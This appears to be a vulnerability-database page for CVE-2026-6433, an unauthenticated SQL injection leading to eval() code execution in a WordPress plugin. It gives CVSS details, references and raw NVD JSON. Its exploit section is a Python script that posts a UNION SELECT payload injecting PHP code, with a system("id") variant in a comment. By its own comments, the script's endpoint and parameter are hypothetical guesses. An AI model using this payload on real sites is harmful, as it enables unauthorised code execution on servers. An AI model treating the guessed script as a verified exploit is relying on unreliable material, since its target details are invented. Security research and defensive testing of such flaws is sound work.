CVE-2026-6433

Description

The Custom css-js-php WordPress plugin through 2.0.7 does not properly sanitize user input before using it in a SQL query, and the result is passed to eval(), allowing unauthenticated users to execute arbitrary PHP code on the server.

CVSS Details

CVSS Score

7.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Custom css-js-php <= 2.0.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_vulnerability(target_url):
    """
    PoC for CVE-2026-6433
    Exploits SQL Injection leading to eval() RCE.
    Note: The specific endpoint parameter might vary based on plugin configuration.
    """
    # Hypothetical endpoint and parameter based on typical plugin structures
    full_url = f"{target_url}/wp-content/plugins/custom-css-js-php/public/index.php"
    
    # Payload attempts to inject PHP code into a SQL query result that is passed to eval()
    # Example: ' OR '1'='1' UNION SELECT 'system("id");' #
    # Assuming the vulnerable query selects a value that is then eval'd.
    payload_data = {
        "css_id": "1 UNION SELECT 'phpinfo();'-- -"
    }

    try:
        response = requests.post(full_url, data=payload_data, timeout=10)
        # Check if the output contains signs of phpinfo execution
        if "PHP Version" in response.text or "phpinfo()" in response.text:
            return "[+] Vulnerability confirmed: Remote Code Execution successful."
        else:
            return "[-] Target may not be vulnerable or payload incorrect."
    except Exception as e:
        return f"[!] Error occurred: {str(e)}"

if __name__ == "__main__":
    target = "http://example.com" # Replace with target
    print(check_vulnerability(target))

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6433
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6433
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6433/
[4] VulDB https://vuldb.com/cve/CVE-2026-6433
[5] https://wpscan.com/vulnerability/a0b1c059-e156-4402-ac8d-67f8ad7386cc/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6433", "sourceIdentifier": "[email protected]", "published": "2026-05-11T06:16:09.707", "lastModified": "2026-05-12T14:47:03.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Custom css-js-php WordPress plugin through 2.0.7 does not properly sanitize user input before using it in a SQL query, and the result is passed to eval(), allowing unauthenticated users to execute arbitrary PHP code on the server."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "references": [{"url": "https://wpscan.com/vulnerability/a0b1c059-e156-4402-ac8d-67f8ad7386cc/", "source": "[email protected]"}]}}